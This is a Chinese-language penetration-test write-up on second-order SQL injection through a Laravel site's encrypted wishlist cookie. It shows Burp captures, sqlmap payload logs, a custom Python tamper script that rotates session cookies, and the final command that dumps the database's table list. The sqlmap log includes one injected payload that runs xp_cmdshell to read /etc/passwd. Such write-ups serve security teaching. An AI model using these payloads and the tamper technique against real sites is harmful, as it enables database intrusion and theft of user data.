通过Burp以及自定义的Sqlmap Tamper进行二次SQL注入

2021-11-09 19:53:32

本文讲的是通过Burp以及自定义的Sqlmap Tamper进行二次SQL注入，

通过Burp以及自定义的Sqlmap Tamper进行二次SQL注入

其中一种安全漏洞被叫做二次注入，形成原因为，攻击者输入的攻击载荷首先会存储到web服务器中，然后web服务器调用这一攻击载荷时，会形成危害。

可以想象的到，二次注入可以发生在任何地方。不仅仅在同一个web应用程序，还可能感染使用同一数据库的web应用程序。因此，使用扫描器去发现这种漏洞是几乎不可能的。在这篇文章中，我会展示最近我们项目中发现的最有趣的一个注入漏洞。

我们手动渗透测试的方法

对于一次渗透测试是否成功，关键在于你是否了解到你的目标系统的业务流程。对于这点，我经常花费一到两天的时间像普通用户一样使用目标站点的功能。因此我可以了解到目标的全部工作流程。在填写表单或者提交任何请求时，我都会为填写的内容进行编号：

1. 给主要模块进行编号(比如发票、新闻、费用等等，这些你经常在导航栏中看到的内容)
2. 比如你正在填写注册凭证，并且需要您填写姓名和邮箱，这是我也会对它编号：
       Username = johnticket1
       Email = johnticket1@yopmail.com

随着从事渗透测试工作时间的变长，我久而久之开发了这一方法，以便于对数据进行跟踪。如果我在渗透测试过程中发现了johnticket1字段，这可能需要4-5天的时间，那时我还是可以清楚的了解到我应该回到哪个地方入手，进行二次注入测试。

初始阶段:检测

在我对目标进行浏览时，在Burp Suite日志中发现了如下请求和响应：

GET /wishlist/add/9 HTTP/1.1
Host: targetwebapp
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://targetwebapp/
Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

----

HTTP/1.1 302 Found
Date: Tue, 01 Aug 2017 07:31:12 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Location: http://targetwebapp/
Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/
Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly
Content-Length: 324
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="1;url=http://targetwebapp/" />

        <title>Redirecting to http://targetwebapp/</title>
    </head>
    <body>
        Redirecting to <a href="http://targetwebapp/">http://targetwebapp/</a>.
    </body>
</html>

我正在向心愿单添加一个产品，如果命令执行成功，应用程序就会重定向到主页，但是如果我浏览/wishlist/，我可以看到产品的详细信息。

有一些事情引起了我的注意，为什么在http响应头中发现了set-cookie参数？为了确定我得到的答案，我尝试着添加了不同id的产品到愿望单中，结果果然是我想的那样，每次请求之后都会有新的set-cookie参数。让我注意的地方:

1. 我现在没有登录，但是应用程序能够捕捉到我添加的产品。
2. 当我请求添加不同id的产品时，我会得到set-cookie响应。

所以答案很明显了，它会加密客户端这边的会话。应用程序将产品的id存储在我的cookie中，然后在返回时对这一值进行加密处理。同时我发现目标是使用的Laravel框架开发的，因为Laravel框架会有名为XSRF-TOKEN的cookie值，并且会默认对cookie进行加密。

这时需要明白的是服务端的工作流程，当我提交/wishlist/add/<id>这一内容时，服务端会将其加密存储到cookie中。如果浏览/wishlist/页面，接下来的步骤如下：

1. 获取cookie值
2. 解密cookie值
3. 从cookie中得到心愿单数组
4. 在查询中使用获取来的数组
5. 展示产品的详细信息

一个小tip:如果你相信这一复杂的查询是在一个sql语句中完成的，想象一下开发过程，那么可能会使用了where id IN <values>这样的语句。

第二阶段-自动化工具问题

说实话，Burp以及Netsparker都无法检测到这一漏洞。为了了解的更清楚，以下是自动化工具扫描的工作流程：

1.输入用户帐号密码或者使用提供的cookie进行登录。
2.发送类似于 /wishlist/add/9" and 1=1 –或者 /wishlist/add/9' or 1=1 –或者 /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1–这类语句
3.计算响应时间间隔或者http返回内容。
4.等待发送的异步请求

根据上述流程，扫描器不会看到任何http响应的实体内容。并且响应时间间隔并没有太大的差距。在这种情况下，应用程序只是简单的将用户输入加密并且存储到了cookie中。

当扫描器会对每一个url进行浏览，当访问到/whislist/时，SQL查询会进行，但是扫描工具输入的内容已经扰乱了sql查询，导致sql查询失败，所以http响应返回500标志。

第三阶段-对sqlmap进行定制，变得更强大

下方是sqlmap产生的前五个http请求，特别是前两个一直保持不变。

~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
[11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
[11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:57] [INFO] testing if the target URL is stable
[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic
[11:48:58] [PAYLOAD] 9(..,)),('"
[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[11:48:58] [PAYLOAD] 9'AGZHkY<'">Bubyju
[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:59] [INFO] testing for SQL injection on URI parameter '#1*'
[11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305
[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355
[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:00] [PAYLOAD] 9 AND 5896=8011
[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:00] [PAYLOAD] 9 AND 3274=3274
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP
[11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC

如果你进一步查看前两个请求，你会发现sqlmap尝试绕过waf，然后强制对请求进行编码。之后它会逐一发送sql查询语句，那么问题就在于这些攻击载荷都会加密到cookie中，导致当sqlmap到–seconde-order目录时，会返回500错误。也是因为第一个请求已经将sql语法扰乱，导致sqlmap这次攻击出错。

所以我们需要为sqlmap发送的每个http请求提供一个新的会话。于是我通过自定义的tamper脚本实现了这一功能。

遵循HTTP请求和响应形式是强制应用程序启动新会话的一种方式。

GET / HTTP/1.1
Host: targetwebapp
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

---

HTTP/1.1 200 OK
Date: Tue, 01 Aug 2017 06:31:36 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/
Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 22296

可以进行以下步骤:
1.发送不带有任何cookie的请求。
2.解析set-cookie，得到XSRF-TOKEN以及SESSION
3.更新sqlmap产生的请求
4.所以每次sqlmap请求都会产生新的会话，当sqlmap发送载荷之后，访问/wishlist/时，/wishlist/响应只与之前发送的payload有关。

我非常建议你使用https://github.com/h3xstream/http-script-generator这一工具产生http请求。这一拓展会生成脚本重复发送所选请求。

通过Burp以及自定义的Sqlmap Tamper进行二次SQL注入

以下是我sqlmap tamper的模块，它向主页发送HTTP请求并检索新的cookie值。然后它会更新sqlmap生成的HTTP请求的Cookie值。

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import requests

from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def new_cookie():
    session = requests.Session()
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}
    response = session.get("http://targetwebapp/", headers=headers)
    XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0]
    SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "")
    return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["Cookie"] = new_cookie()
    return payload

最后注入成功:)

sqlmap git:(master)  python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py

...

Database: XXX
[12 tables]
+------------------------------------------------------+
| categories                                           |
| comments                                             |
| coupon_user                                          |
| coupons                                              |
| migrations                                           |
| order_product                                        |
| orders                                               |
| password_resets                                      |
| products                                             |
| subscribers                                          |
| user_addresses                                       |
| users                                                |
+------------------------------------------------------+

结论

1.不要相信自动化扫描器的结果
2.在聘请渗透测试工程师时一定要具有手工渗透经验的人
3.遇到问题要尝试去解决




原文发布时间为：2017年8月11日
本文作者：xnianq
本文来自云栖社区合作伙伴嘶吼，了解相关信息可以关注嘶吼网站。
上一篇：centos7网卡重命名方法以及更换网卡导致起不来网卡的解决方法


下一篇：neat算法——本质就是遗传算法用于神经网络的自动构建